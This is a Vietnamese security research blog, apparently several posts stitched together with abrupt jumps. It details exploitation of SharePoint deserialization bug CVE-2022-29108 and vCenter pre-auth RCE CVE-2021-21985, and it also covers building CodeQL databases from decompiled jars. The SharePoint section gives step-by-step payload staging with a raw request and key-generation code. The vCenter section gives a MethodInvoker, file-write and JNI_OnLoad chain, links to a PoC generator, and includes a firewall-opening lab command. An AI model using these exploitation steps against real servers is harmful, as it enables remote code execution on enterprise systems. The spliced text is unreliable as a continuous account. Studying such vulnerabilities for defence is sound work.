Gần đây, hồi tháng 2 có 1 bug Deserialization CVE-2022-22005 (đương nhiên là post-auth), được viết writeup khá đầy đủ bởi 1 bạn người Việt (here). Blog được viết rất tâm huyết và chi tiết, mình cũng dựa vào những chi tiết trong blog để setup và debug. Và do bug được viết trong bài dưới đây có liên quan chặt chẽ tới nó nên mình khuyến nghị bạn đọc nên đọc qua bài trên một lượt để có thể dễ dàng đi vào bài này!

Như đã đề cập ở trên, CVE-2022-29108 có liên quan rất chặt chẽ tới CVE-2022-22005, giống nhau cả về cách thức hoạt động, entrypoint cũng như cách vá. Và khá là chắc chắn nó được tìm ra trong quá trình phân tích 1day!

#ENVIRONMENT SETUP

Việc setup hoàn toàn dựa theo guide của MS tại đây

Sau khi setup xong thì tiếp tục với các bước Create Web App -> Create site collections

Ban đầu thì mình nghĩ là bug này (CVE-2022-22005) hoạt động với default setup, tuy nhiên trong quá trình debug thì mới phát hiện ra không hoàn toàn là như vậy! (Không rõ là do setup của mình có khác biệt gì với mọi người hay không?)

• Điều kiện đầu tiên đó là tính năng "Self-Service Site Creation" bị disable by default, như vậy có nghĩa là một user bình thường với config mặc định sẽ không thể create các sub-site được ¯_(ツ)_/¯

Một ví dụ trong blog post của ZDI:

Như vậy nếu muốn hoạt động như trong các bài writeup cũ này thì phải bật tính năng Self-Service Site Creation lên trước.

• Điều kiện thứ hai đó là CVE-2022-22005 hoạt động dựa vào State-Service của Sharepoint, tính năng này hoàn toàn không tồn tại với một default setup. Đây là một cảnh báo lỗi sẽ gặp trong trường hợp State-Service chưa được bật:

Bạn đọc có thể tham khảo cách bật service này lên tại đây:

#Create new "State Service" application
$StateService_application = New-SPStateServiceApplication -Name "State Service"

#Create DB for State Service Application
$StateService_applicationDB= New-SPStateServiceDatabase -Name "KnowledgeJunction_SP_StateService" -ServiceApplication $StateService_application

#Create proxy for State Service application
New-SPStateServiceApplicationProxy -Name "KnowledgeJunction_SP_StateService" -ServiceApplication $StateService_application -DefaultProxyGroup

Initialize-SPStateServiceDatabase -Identity $StateService_applicationDB

#ANALYSIS

Cùng xem lại phần sink của CVE-2022-22005 tại ChartPreviewImage.loadChartImage() như sau:

this.sessionKey được lấy từ Request['sk']:

sessionKey trên sẽ được dùng để lấy binary data từ StateService qua method CustomSessionState.FetchBinaryData(this.sessionKey):

Và với CVE-2022-22005, họ đã thêm vào một SerializationBinder để ngăn chặn việc deserialize tùy ý:

Để tìm biến thể của bug này, mình quay ra focus vào method CustomSessionState.FetchBinaryData(). Method này làm nhiệm vụ lấy ra dữ liệu binary trong StateService. Như vậy đồng nghĩa với việc sẽ phải có một bước xử lý đám Binary Data này sau đó, right?

Dùng tính năng Analyze tìm những nơi có gọi tới CustomSessionState.FetchBinaryData(), mình lấy được một số method như sau:

Tạm thời bỏ qua những method khác, mình chỉ focus vào method call của ChartAdminPageBase.get_currentWorkingSet(). Content của method này như sau:

Với this.CustomSessionStateKey được lấy từ Request['csk']

Tiếp sau đó, Binary Data được lấy từ StateService với this.CustomSessionStateKey, sau đó được truyền thẳng vào BinaryFormatter.Deserialize()

=> RCE

Method call tới ChartAdminPageBase.get_currentWorkingSet() như sau:

Trong đó có một method call từ ChartPreviewImage.Render() (cùng entrypoint với bug cũ CVE-2022-22005):

Full stacktrace:

ChartPreviewImage.Render()
   > ChartAdminPageBase.FetchFromCurrentWorkingSet()
        > ChartAdminPageBase.get_currentWorkingSet()
            > BinaryFormatter.Deserialize()

#EXPLOITATION

Việc khai thác hoàn toàn giống với bug CVE-2022-22005 được viết chi tiết tại đây. Tuy nhiên mình vẫn viết lại chi tiết từng bước trong bài này coi như là một cái note để sau này tham khảo!

• Step 1: stored the payload Đầu tiên là phải download và cài đặt Microsoft InfoPath tại đây.

Dùng Infopath để Create List và publish Form như sau:

Sau khi Create xong, ta có thể truy cập và tạo New item sử dụng List này như sau:

Trong trường hợp click vào New mà nhận được response như sau thì có nghĩa là State Service chưa được enable trong Sharepoint (mình đã đề cập ở đầu bài này):

Nếu đã enable StateService, chúng ta sẽ được page như sau:

Upload 1 file tại phần Attachments, với content của file chính là gadgetchain sẽ được dùng để deserialize, tại đây mình dùng gadget TypeConfuseDelegate để RCE (sau khi upload thì cứ để file ở đó, không bấm Save nhé!):

Quay trở lại burpsuite với request upload file phía trên, trong phần Response, tìm tên file vừa upload. Ở ngay cạnh đó sẽ có một chuỗi dạng "hash_hash", tạm gọi là itemId, lưu cái này lại để sử dụng phía sau cho việc trigger lỗi!

• Step 2: Get the payload session id

Như đã đề cập trong writeup của CVE-2022-22005 và CVE-2021-27076, ta dùng cách trên để lưu lại binary Session data và reuse sau đó.

Idea của phương pháp re-play này dựa vào quá trình xử lý file upload của Infopath!

Khi file được upload lên server thông qua Infopath list như Step 1 phía trên, Sharepoint sẽ cache nội dung của file vào một attachmentId và metadata của file này (bao gồm cả attachmentId) vào một itemId khác rồi trả về itemId đó cho người dùng.

Có thể mô tả bằng hình ảnh như sau:

Request tới FormServerAttachments.aspx như sau:

GET /_layouts/15/formserverattachments.aspx?fid=1&sid=AF43TO7UGLAA4TVXQCDXC4WIQFTCAL2MNFZXI4ZPORSXG5BRGEYS6SLUMVWS65DFNVYGYYLUMUXHQ43OFNBXQ53RGRYDISTOJN2VSMTIONCFC4DVG5AWE5K2JBIVCM2HJRHUOOLUNZBU4SSHOJNDEYY=TC6s5QU93BoIZJdquPLcFPGQeeyGztEj4/i9xhD6rw4waUi3tnI60RaX09aC3H70OnD6cKSOK8Bsf4j1b/MmCw==|637879277981015089&key=BAIkY2UyMTcyNmQtNDNmZi00MWEzLTkyMDQtOTgxYTE5ZTc1ODI3QWU5ZjUxYmM2YTgxNzRiNmViMWM3Y2ZhZTY3NmJlNGFkX2UzOWQwYzgyZDAyZjRhYzc4NjQ5NWE5OTA1NjJkYzg0gAhF&dl=ip HTTP/1.1
Host: sharepoint
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0
Cookie: _InfoPath_CanaryValueAF43TO7UGLAA4TVXQCDXC4WIQFTCAL2MNFZXI4ZPORSXG5BRGEYS6SLUMVWS65DFNVYGYYLUMUXHQ43OFNBXQ53RGRYDISTOJN2VSMTIONCFC4DVG5AWE5K2JBIVCM2HJRHUOOLUNZBU4SSHOJNDEYY=TC6s5QU93BoIZJdquPLcFPGQeeyGztEj4/i9xhD6rw4waUi3tnI60RaX09aC3H70OnD6cKSOK8Bsf4j1b/MmCw==|637879277981015089; 
Cache-Control: max-age=0
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: Keep-Alive

Với sid lấy ra từ InfoPath_CanaryValue:

AF43TO7UGLAA4TVXQCDXC4WIQFTCAL2MNFZXI4ZPORSXG5BRGEYS6SLUMVWS65DFNVYGYYLUMUXHQ43OFNBXQ53RGRYDISTOJN2VSMTIONCFC4DVG5AWE5K2JBIVCM2HJRHUOOLUNZBU4SSHOJNDEYY=TC6s5QU93BoIZJdquPLcFPGQeeyGztEj4/i9xhD6rw4waUi3tnI60RaX09aC3H70OnD6cKSOK8Bsf4j1b/MmCw==|637879277981015089

Còn param key mình sử dụng đoạn code sau để lấy, với _serializedKey chính là itemId trả về sau khi upload file ở Step 1:

static void Main()
        {

            MemoryStream ms = new MemoryStream();
            EnhancedBinaryWriter enhancedBinaryWriter = new EnhancedBinaryWriter(ms);
            enhancedBinaryWriter._state = 4;
            enhancedBinaryWriter._dataType = 2;
            enhancedBinaryWriter._itemId = "ce21726d-43ff-41a3-9204-981a19e75827";
            enhancedBinaryWriter._serializedKey = "e9f51bc6a8174b6eb1c7cfae676be4ad_e39d0c82d02f4ac786495a990562dc84";
            enhancedBinaryWriter._size = 1024;
            enhancedBinaryWriter._version = 69;
            enhancedBinaryWriter.Serialize(enhancedBinaryWriter);
            var base64String = Convert.ToBase64String(ms.ToArray());
            Console.WriteLine(base64String);
        }

(Chi tiết hơn về đoạn này thì bạn đọc có thể tham khảo thêm tại blog writeup của CVE-2022-22005, tác giả đã viết rất chi tiết về bước này nên mình sẽ không nhắc lại tại đây!)

Response của request FormServerAttachments.aspx:

Trong đó, phần cuối file sẽ có một chuỗi cũng có dạng "hash1_hash2", phần hash đầu tiên sẽ trùng với itemId vừa truyền vào.

Đây chính là attachmentId, hoặc cũng chính là payload Id/session Key, ta sẽ sử dụng attachmentId này để truyền vào ChartPreviewImage.aspx và trigger Deserialization:

Step by step PoC: https://www.youtube.com/watch?v=rHhsAdvfBxc

class A

private void Foo(String arg1){
    String var1 = ExternalLibrary.doDecode(arg1);
    Runtime.getRuntime().exec(var1);
}

Theo như cách hoạt động, bóc tách code để insert vào DB của CodeQL mà mình đã nói tại bài viết trước (tại đây), thì thông tin về đoạn ClassA.Foo() -> ExternalLibrary.doDecode() vẫn sẽ được nhận biết để insert vào DB. Tuy nhiên tới đoạn ExternalLibrary.doDecode() thì do không có mã nguồn nên đương nhiên là thông tin về đoạn call này sẽ bị bỏ qua, và kéo theo đó là cũng không biết được kết quả trả về của ExternalLibrary.doDecode() là gì? có thể passthrough được hay không? Từ đó sẽ gây ra chuyện flow path trên bị đứt đoạn -> bỏ sót lỗ hổng trong quá trình rà soát mã nguồn. Đây là chuyện không thể chấp nhận được với một công cụ sinh ra chuyên biệt để tìm kiếm các biến thể 🤷‍♀️

Mặc dù phía phát triển của CodeQL bằng nhiều cách, đã giảm thiểu sai sót này bằng cách tìm bằng cơm các passthrough variable, method. Nghĩa là dựa trên những lỗ hổng, các signature đã biết về các method có thể truyền dữ liệu qua, và có giữ nguyên dạng hay không. Ví dụ như với flow path vừa kể trên, lúc này trong thư viện "chuẩn" .qll của codeql, sẽ định nghĩa rằng: dữ liệu truyền vào ExternalLibrary.doDecode(), vẫn sẽ được tainted vào dữ liệu trả về. Như vậy thì khi query, codeql sẽ hiểu rằng biến "var1" là biến đổi của "arg1", do đó sẽ tiếp tục query tiếp tới đoạn "var1" được truyền vào .exec()! Nếu bạn đọc vẫn còn mơ hồ về điều này thì có thể trực tiếp kiểm nghiệm qua bộ thư viện chuẩn của codeql tại TaintTrackingUtil.qll#L320

private predicate taintPreservingArgumentToMethod(Method method, int arg) {
  method.getDeclaringType().hasQualifiedName("org.apache.commons.codec.binary", "Base64") and
  (
    method.getName() = "decodeBase64" and arg = 0
    or
    method.getName().matches("encodeBase64%") and arg = 0
  )
  or
  method.(TaintPreservingCallable).returnsTaintFrom(arg)
}

.

.

.

Tầm này năm ngoái thì mình có làm cái luận văn về cách hoạt động của CodeQL, trong quá trình nghiên cứu thì cũng có ý tưởng làm 1 cách nào đó để cho CodeQL có thể build được DB mà không cần source code.

Ý tưởng ban đầu của mình đó là sử dụng OW2 ASM để traverse bytecode, và sau đó lưu trữ các thông tin này vào trap file để tạo DB. Tuy nhiên phương thức này nói thì dễ, làm mới thấy vấn đề nhiều như thế nào. Ví dụ như các lệnh loop, try catch, ... sẽ không tường minh như khi traverse với source code. Như vậy sẽ yêu cầu viết lại một bộ thư viện chuẩn mới của CodeQL, dành riêng cho java bytecode để có thể biên dịch lại các bytecode này thành các lệnh loop, try catch.

Project đã bị bỏ dở hơn 2 tháng kể từ khi mình gặp vấn đề này, sau đó một ngày đẹp trời, đồng nghiệp mình có hỏi chi tiết về cách hoạt động của CodeQL sau series của mình (tại đây). Và có trình bày ý tưởng về một hướng đi khác để build DB cho CodeQL, ban đầu thì ý tưởng này gặp ngay sự phản đối của mình. Ý tưởng đó như thế này: Decompile nguyên cái file jar, sau đó tạo 1 script để javac compile các file đã được compile này. Ban đầu mình có phản đối ý tưởng này, đơn giản là vì mặc dù tỉ lệ decompile chính xác của fernflower decompiler hiện tại khá cao (lên tới 95%), nhưng số 5% còn lại đó vẫn là 1 vấn đề lớn, khi build cả 1 project chỉ cần 1 file lỗi thì sẽ khiến cho cả quá trình build bị dừng lại và sẽ không thể tiếp tục quá trình Extractor của CodeQL được. Tuy nhiên sau khi xem demo thì mình đã biết phương thức này không phải là vô lý, và hoàn toàn có thể biến nó thành sự thật được. Quay trở lại với phần 2 của series How CodeQL works, tại đây mình đã nói qua về cách setup môi trường để tự debug quá trình Extract của CodeQL, khuyến nghĩ bạn đọc nên xem qua để tránh một số bỡ ngỡ về sau! Config để debug như sau: Còn đây là nội dung của file javac.args:

Trong đó có bao gồm các file mã nguồn java sẽ được truyền vào javac để biên dịch. Theo cách làm của đồng nghiệp mình, khi đó các file java này sẽ là các file đã được decompile từ các file jar. Ở đây mình lấy apache tomcat ra làm ví dụ, các file đã được decompile từ catalina.jar và truyền vào arg của javac:

Với lần đầu chạy thử, mình đã gặp ngay rất nhiều lỗi và đã bị crash chương trình, đây là output log khi chạy Extractor:

Những log về syntax error này rất nhiều, tuy nhiên chưa làm cho chương trình crash. Mò mẫm một hồi mới phát hiện ra nguyên nhân gây crash chương trình là đây:

Stacktrace:

Sai sót gây ra crash ở đây là do chương trình throw một AssertionError(), mà không có đoạn nào trong chương trình catch lỗi này cả, fix lỗi này đơn giản bằng cách thêm vài dòng code để catch AssertionError() này là xong:

Sau khi patch lại file extractor, chương trình chạy khá là mượt và không gặp thêm lỗi gì nữa. Ước tính tầm 80% file đã được chuyển đổi sang file trap:

Các file trap đã được tạo thành công, bước tiếp theo đơn giản chỉ là import các file trap này thành dataset, phục vụ cho việc truy vấn tiếp theo, câu lệnh để import như sau:

codeql dataset import --dbscheme=.\semmlecode.dbscheme .\db-java .\trap\*

Với semmlecode.dbscheme là scheme của java, được tìm thấy trong folder binary của codeql:

Tới đây thì việc tạo codeql DB đã gần xong rồi, chỉ còn 1 bước cuối đó là tạo file meta khai báo DB này, File meta của DB có dạng sau:

---
sourceLocationPrefix: "D:\\Research2021\\codeql\\newdb\\src"
unicodeNewlines: false
columnKind: "utf16"

Trong đó sourceLocationPrefix là vị trí của mã nguồn đã được decompile trên máy. Sau khi tạo metafile cho DB xong thì việc cuối cùng là import vào DB thôi:

Thử nghiệm 1 query với DB mới này:

Như vậy là việc xây dựng CodeQL DB mã không cần mã nguồn đã không còn là viển vông nữa, Dù rằng tỉ lệ chính xác của phương pháp này không thể đạt được 100% như với mã nguồn gốc, nhưng bằng một vài phương pháp kết hợp với mã nguồn gốc các thứ, có thể sẽ giúp giảm tỉ lệ bỏ sót lỗ hổng, các tainted path khi truy vấn với CodeQL. Hạn chế hiện tại của CodeQL có chăng chỉ là tốc độ truy vấn mã nguồn mà thôi. Mình đã từng thử build một bộ DB của product X, kết quả được DB khá lớn ~20GB, và thử thực thi một vài truy vấn trên này thì thời gian phản hồi rất chi là lâu, mình đã đợi 1,2 ngày cho đến 1 tuần mà vẫn không thấy có kết quả gì, query server chỉ báo là running trong vô vọng ╮（╯＿╰）╭. Trên đây là một vài chia sẻ của mình về cách build DB cho CodeQL mà không cần mã nguồn gốc của chương trình. Khuyến cáo: việc decompile để build DB này có thể sẽ vi phạm vào một vài quy tắc nào đó của các enterprise product, hãy suy nghĩ kỹ. Do at your own risk! Cảm ơn đồng nghiệp @tuyenlx đã chia sẻ idea này và biến nó thành sự thật! Cảm ơn bạn đọc đã theo dõi! Jang

Khi mà trong vòng nửa tháng mà có tới 5–6 cái critical patch liền … Diff patch đến tr4m c4m cmnl,

Vào buổi sáng ngày 25/5, Vmware release bản vá, trong số các bug được vá lần này có 1 lỗ hổng Critical với CVSS lên tới 9.8.

Một lỗ hổng mà được gán số tới 9.8/10 thì đồng nghĩa nó là 1 lỗ hổng Pre-Auth RCE, có thể xiên server trong vòng 1 nốt nhạc mà ko cần phải chờ ạt min login vào hay gì cả. Hiểu được tầm quan trọng như vậy, có lẽ không chỉ mình mà nhiều bên khác cũng cắm đầu vào đi mổ xẻ patch và tìm kiếm PoC cho nó.

Cuối cùng, thật đáng buồn thay mình lại ko phải là người tìm ra nó đầu tiên, một anh chàng người tàu nào đó đã tìm ra trước và public nó. Mình chỉ là người đi sau cải thiện độ tiện lợi và ổn định của PoC này thôi!

PoC đầu tiên được đăng tại: https://www.iswin.org/2021/06/02/Vcenter-Server-CVE-2021-21985-RCE-PAYLOAD/

Trong quá trình cải thiện độ ổn định của nó, có một số thứ hay ho nên mình quyết định vẫn sẽ viết bài này để chia sẻ cũng như note lại các thông tin!

.

.

Đầu tiên là một số note của quá trình setup máy ảo lên VMware Workstation!

VCSA hoàn toàn có thể cài độc lập lên vmware workstation mà không cần esxi gì cả, chỉ có một lưu ý tối quan trọng: trong quá trình setup, tuyệt đối không thay đổi mật khẩu mặc định của user root (vmware), mình không biết tại sao nhưng cứ thay đổi mật khẩu này sang mật khẩu khác thì quá trình setup sẽ bị lỗi ở đâu đó mà không rõ nguyên nhân, để yên đó thì lại setup ngon lành mà ko gặp lỗi lầm gì ¯_(ツ)_/¯.

Ở đâu đó mình đã nghe câu:

“Discovery requires experimentation!”

Để khám phá rõ hơn về bug này thì cần phải debug, mổ xẻ ra mới được.

Mặc dù cũng chạy tomcat, nhưng vsphere-ui lại được khởi chạy thông qua 1 service riêng của VCSA, cần phải chỉnh sửa theo cách riêng để có thể debug!

Trên môi trường linux, file “/etc/vmware/vmware-vmon/svcCfgfiles/vsphere-ui.json” chứa config khởi chạy của vsphere-ui, bao gồm cả các biến môi trường:

Uncomment các dòng sau để enable debug mode:

Sau đó restart service vsphere-ui bằng cách gọi lệnh:

service-control --restart vsphere-ui

Lúc này port debug của service đã được mở, nhưng do config của firewall đã chặn nên chưa thể truy cập từ ngoài vào được:

Config lại firewall cho phép ACCEPT tất cả các gói với lệnh sau:

iptables -P INPUT ACCEPT

#Diff Patch

Phiên bản mình cài đặt để làm lab là VCSA 7.0.2.0, đem diff với VCSA 7.0.2.00100 thì có một số điểm khác biệt như sau:

Authentication Filter đã được thêm vào cho entrypoint “/rest/*”

Tại class com.vmware.vsan.client.services.ProxygenController, thêm một đoạn code mới để kiểm tra sự hiện diện của Annotation @TsService trong method sẽ được invoke:

Các method đó có dạng như này nè:

Quên chưa nói về cái ProxygenController, class này làm nhiệm vụ handler tất cả các request đi tới entrypoint “/ui/h5-vsan/rest/proxy/*”

Sau đó beanClass, method của bean class này được lấy từ url path, cùng với methodInput được lấy từ json body của request rồi đưa vào method invokeService() để xử lý tiếp:

beanClass sau khi được lấy từ url sẽ được kiểm tra sự tồn tại dựa vào một beanMap đã được định sẵn, nếu không tồn tại trong map này sẽ bị đẩy ra exception luôn:

Các bean này được định nghĩa trong các file .xml của bundle, cụ thể hơn ở đây là trong file “h5-vsan-service.jar/META-INF/spring/base/.xml*”:

Cách define có dạng như sau:

Tương ứng với cách xử lý của ProxygenController phía trên, ta có thể truy cập tới bean này với url như sau:

• /ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/<method>

Dựa theo cách vá từ vmware, là thêm cơ chế filter cho entrypoint “/rest/*” mình có thể dám chắc là đã có vấn đề gì đó với một trong những bean đã được define, khiến cho nó bị lợi dụng và gây ra vụ RCE này.

Tuy nhiên sau khi export được tất cả các bean có trong entrypoint này thì mình cũng hơi nản 1 chút, có tới 177 class, mỗi class cũng có tầm 10 method, tính cả các method được implement từ class cha nữa thì có tầm 30 method/class => 177*30 = 5310 trường hợp (╯°□°）╯︵ ┻━┻.

Mình đã có gắng bới móc trong vô vọng nhưng không đem lại kết quả gì.

Sau gần một tuần ko ra kết quả gì, mình đành bỏ đó và đi phân tích 1 patch khác cho kịp công việc, …

*this’s what i actually do at that time … 🤣

.

.

Loanh quanh một hồi, vài ngày sau thì một mẫu PoC được public trên blog của anh người tàu khựa, tuy nhiên cũng cần có outbound để gửi 1 request RMI ra ngoài, PoC có dạng như sau:

Mình nhanh chóng nhận ra điểm sai sót mà mình đã bỏ qua: đó là chỉ check các bean class mà không check các bean name nữa 😢.

Tìm trong phiên bản 7.0.2 mình đang làm thì không tồn tại bean “vsanProviderUtils_setVmodlHelper ” như trong PoC, sau khi kiểm tra lại thì thấy bean này tồn tại trên các phiên bản <6.7:

Vì trên phiên bản 7.0.2 không có bean này, nên mình sử dụng 1 bean khác được define tương tự để thay thế “vsanQueryUtil_setDataService”:

Còn class xử lý bean này đó chính là MethodInvokingFactoryBean, class này có chứa các method để set và gián tiếp invoke một method khác!

Mô hình kế thừa của class này có dạng sau:

Do đó, từ phía bean bị control, chúng ta hoàn toàn có thể gọi được các method của các class cha mà nó thừa kế: MethodInvokingBean->ArgumentConvertingMethodInvoker->MethodInvoker.

Quay trở lại với PoC của anh người tàu, ta thấy lần lượt các request như sau được gửi đi:

- POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/**setTargetObject**
- POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/**setStaticMethod**
- POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/**setArguments**
- POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/**prepare**
- POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/**invoke**

Nó tương ứng với việc gọi các method sau của class MethodInvoker:

Tham số truyền vào rất đơn giản, đa số đều là dạng String đơn thuần nên không có có khó khăn gì trong quá trình parse dữ liệu bởi ProxygenController.

Tại method MethodInvoker.prepare(), biến staticMethod đã set trước đó được xử lý để set giá trị cho targetClass và targetMethod

Để thỏa mãn đoạn code trên thì staticMethod có dạng như sau:

Tuy nhiên ở đây cũng cần lưu ý 1 chút, targetClass không hẳn là dễ dàng trong việc lựa chọn, nó bị limit bởi beanClassLoader:

Do đó mà việc lựa chọn ra 1 staticMethod để lợi dụng cũng thêm khó khăn hơn, ví dụ như method org.springframework.util.SerializationUtils.deserialize() có thể được dùng để deserialize data, nhưng vì bị hạn chế nên không thể được load tại đây:

Sau khi prepare() thì bước cuối cùng chỉ cần gọi invoke() và method sẽ được setAccessible để đảm bảo có thể invoke cả private method và invoke luôn sau đó:

Đó là flow trigger RCE của bug này,

Tuy nhiên như đã đề cập từ đầu, PoC này sử dụng javax.naming.InitialContext.doLookup(), evilRMI các thứ rồi mới RCE được.

Trong thực tế thì các server VCenter này đều nằm trong mạng nội bộ và bị hạn chế kết nối internet đến mức tối đa, gần như không có đường nào khác đi ra ngoài, ngay cả DNS cũng chặn.

Mình bắt đầu lọc ra các package nằm trong beanClassLoader và thử tìm một vài method mới cho phép RCE 1 hit, không cần phải kết nối đi đâu cả.

Một số mục tiêu mà mình nhắm đến:

• static method cho phép deserialize string hoặc data

• static method cho phép thực thi lệnh hoặc inject lệnh

• static method cho phép ghi file

*Attempt 1

Trong đó mình đã tìm được 1 method cho phép deserialize dữ liệu mà chỉ yêu cầu truyền vào 1 mảng byte org.apache.catalina.tribes.io.XByteBuffer.deserialize():

Yeah, tuy nhiên mình đã quên mất một điều quan trọng: hiện tại mình đang trong context bị limit library, làm méo gì có gadget để trigger RCE chứ

Vậy là trường hợp deserialize -> RCE không khả thi lắm

*Attempt 2

Lần này mình tìm được 1 method cho phép ghi file vào vị trí tùy ý: jdk.jfr.internal.Utils.writeGeneratedASM()

Nếu property “SAVE_GENERATED” được set thành true, method sẽ đi vào nhánh ghi file.

Việc này hoàn toàn có thể xử lý đơn giản bằng cách invoke java.lang.System.setProperty():

Tuy nhiên cũng cần lưu ý, SAVE_GENERATED chỉ được set giá trị khi giá trị ban đầu của nó là null, do vậy bắt buộc phải có request setProperty() trước khi gửi request writeFile(). Nếu không thì những việc làm sau đó sẽ đều là vô tác dụng, vì không có cách nào set lại giá trị SAVE_GENERATED này nữa ngoại trừ restart service!

Đã xác định được method và set, nhưng có 1 vấn đề tiếp theo cần xử lý đó là truyền arg làm sao? Method này cần 1 tham số string và 1 tham số dạng mảng byte[].

Tại ProxygenController, dữ liệu sau khi được lấy từ param methodInput sẽ được gọi tới ProxygenSerializer.deserializeMethodInput() để xử lý, mặc dù có tên là deserialize nhưng hoàn toàn không liên quan tới json deser hay java deser gì đâu nha:

Input data được deserialize dựa theo kiểu của các đối số mà method này sắp được gọi:

Các tham số để đưa vào invoke bởi MethodInvoker được set bằng method setArguments(), method này có thông tin đối số là 1 mảng Object[] như sau:

Do vậy mà tất cả các tham số truyền vào đều được “treat-as-Object”, cho dù nó có là String, … hay gì đi chăng nữa.

Như vậy làm sao truyền được mảng byte[] ??? ¯_(ツ)_/¯

!TypeConverter for the rescue

Do không biết làm sao để truyền vào mảng byte[] nên mình quyết định thử truyền bừa vào 1 chuỗi để thay thế:

Đương nhiên là đoạn này sẽ không xảy ra lỗi rồi, cần phải gửi tiếp request prepare() thì chương trình mới xử lý cái arg này cơ! Đặt breakpoint tại đầu method prepare() ta có thể thấy giá trị của 2 arg cần truyền vào đang là 2 chuỗi như này:

MethodInvoker.prepare() tiếp tục xử lý, thực hiện gọi getMethod() với argTypes chính là kiểu của 2 tham số mình truyền vào

Và do lúc này argTypes chưa đúng nên chương trình sẽ xảy ra exception và đi vào nhánh dưới:

Lúc này từ MethodInvoker.prepare() sẽ gọi tới ArgumentConvertingMethodInvoker.findMatchingMethod() để tìm kiếm method phù hợp

Nhưng vẫn null, tiếp tục gọi tới ArgumentConvertingMethodInvoker.doFindMatchingMethod(), method này có dạng như sau:

Method này tiếp tục xử lý và gọi tới TypeConverter.convertIfNecessary() để thực hiện convert argument sang kiểu dữ liệu mong muốn mà method đích đang yêu cầu.

Tiếp tục debug sâu hơn, và dừng tại điểm có Stacktrace như sau:

Biến “editor” có kiểu dữ PropertyEditor, được lấy dựa trên giá trị requiredType — chính là giá trị mà method argument đang yêu cầu, và may thay ở đây PropertyEditor tương ứng của mảng byte[] lại tồn tại, đó là ByteArrayPropertyEditor:

Sau khi qua công đoạn được xử lý bằng ByteArrayPropertyEditor, giá trị mới của argument được chuyển thành như sau:

Như vậy là đã giải quyết được vấn đề làm sao để truyền được kiểu byte ròi nhé

Btw, đây là danh sách một số kiểu dữ liệu có thể được xử lý bởi TypeConvert:

boolean, byte, char, class [B, class [C, class [I, class [J, class [Ljava.lang.Class;, class [Ljava.lang.String;, class [Lorg.springframework.core.io.Resource;, class [S, class java.io.File, class java.io.InputStream, class java.io.Reader, class java.lang.Boolean, class java.lang.Byte, class java.lang.Character, class java.lang.Class, class java.lang.Double, class java.lang.Float, class java.lang.Integer, class java.lang.Long, class java.lang.Short, class java.math.BigDecimal, class java.math.BigInteger, class java.net.URI, class java.net.URL, class java.nio.charset.Charset, class java.time.ZoneId, class java.util.Currency, class java.util.Locale, class java.util.Properties, class java.util.regex.Pattern, class java.util.TimeZone, class java.util.UUID, class org.xml.sax.InputSource, double, float, int, interface java.nio.file.Path, interface java.util.Collection, interface java.util.List, interface java.util.Set, interface java.util.SortedMap, interface java.util.SortedSet, long, short

Xử lý argument xong xuôi, việc tiếp theo cần làm đơn giản chỉ cần invoke thôi:

Và được kết quả như sau:

File thì ghi xong rồi, nhưng rồi làm gì tiếp đây??

Về vấn đề đuôi .class của tên file hoàn toàn có thể xử lý được, mình tìm ra một method có thể cho phép copy file với vị trí và tên tùy ý: org.apache.catalina.manager.ManagerServlet.copyInternal()

Tuy nhiên trên môi trường này không thể ghi shell và thực thi như môi trường windows được, cần phải có một cách nào đó khác nữa mới có thể RCE.

Sau khi xem xét lại mình có phát hiện ra method System.load(), mà theo description, method này cho phép load Native library vào JVM.

Giống với việc load DLL của windows, JNI của java cũng có function JNI_OnLoad() được gọi khi load nó lên. Như vậy thì mọi chuyện đã rõ, dựa vào cơ chế OnLoad này của JNI, mình có thể RCE được bằng cách inject code vào để thực thi.

Việc code cái native library này cũng không khó lắm, sau 1 đêm mày mò mình đã viết xong 1 cái lib để load lên và thành công trong việc RCE, content đơn giản như sau:

• thực ra là do mình ngu đần code C nên phải gọi ngược về Java để exec code đó (ಥ _ ಥ)

Như vậy đã đạt được mục đích là RCE in one hit, nhưng vấn đề còn tồn tại là làm sao để execute command và lấy kết quả ngay tại http response, mình vẫn đang nghiên cứu thêm!

Tóm lược lại bug này như sau:

• unauthenticated /rest enpoint

• tồn tại bean MethodInvoker cho phép invoke static method tùy ý

• TypeConverter tự động convert dữ liệu sang dạng phù hợp

• JNI_OnLoad trigger code execution

Sau quá trình phân tích và viết PoC mình học hỏi được khá nhiều thứ bên lề, do nội dung của bài viết có hạn nên có thể sẽ có nhiều thiếu sót.

Mặc dù bài viết đã có full ảnh để đem lại cho người đọc cảm giác “đọc như debug”, nhưng mình vẫn khuyên nên setup và tự debug để nhận biết thực tế theo quan điểm của chính mình thay vì thu lu trong cái bài viết có phần phiến diện của mình!

Btw, do gần đây có một số bạn ý kiến không vui về việc public PoC của mình, nên là mình quyết định sẽ … public nguyên cái bộ gen ra PoC luôn =))).

PoC video: https://www.youtube.com/watch?v=Cxuut3uWeUA

PoC generator: https://github.com/testanull/Project_CVE-2021-21985_PoC

Cảm ơn các bạn đã theo dõi,

Jang

Như đã biết ở phần trước, mình có nói về 1 mảng nhỏ của ATTT, Kiểm thử xâm nhập — Penentration Testing, cũng như các yêu cầu đặc thù của nghề này. Trong đó mình cũng có đề cập tới một nhóm Reseacher nhỏ, đóng vai trò hỗ trợ, cung cấp các công cụ, mã khai thác cho pentester.

Hiện nay những người làm công việc này được gọi với nhiều cách gọi khác nhau, người thì gọi là Bug Hunting, người thì gọi là Security Researching, hay có một số gọi là nghề đục lỗ (Exploitation), vv…

Nhưng chung quy lại, đều là đi vào tìm kiếm lỗ hổng trên một đối tượng nào đó, tùy từng đối tượng khác nhau mà có thể cách gọi cũng khác theo.

Với tên gọi Security Researcher nó rất là rộng, và thường là được dùng để gọi chung những người làm về mảng nghiên cứu của ATTT, không riêng gì những người làm nghề đục lỗ! ¯_(ツ)_/¯

